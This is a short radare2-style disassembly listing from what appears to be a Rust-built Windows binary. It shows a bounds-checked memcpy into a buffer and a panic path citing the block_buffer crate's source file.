call fcn.00433c88
mov rax, r13
cmp r13, r15
jne 0x430ee8
cmp r14, 0x49
jae 0x430f48
add rbx, r12
mov rcx, rdi
mov rdx, rbx
mov r8, r14
call sub.ntdll.dll_memcpy
mov byte [rsi + 0x118], r14b
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str._cargo_registry_src_index.crates.io_6f17d22bba15001f_block_buffer_0.10.4_src_lib.rs
mov edx, 0x48
mov rcx, r14
call fcn.0042bf80
ud2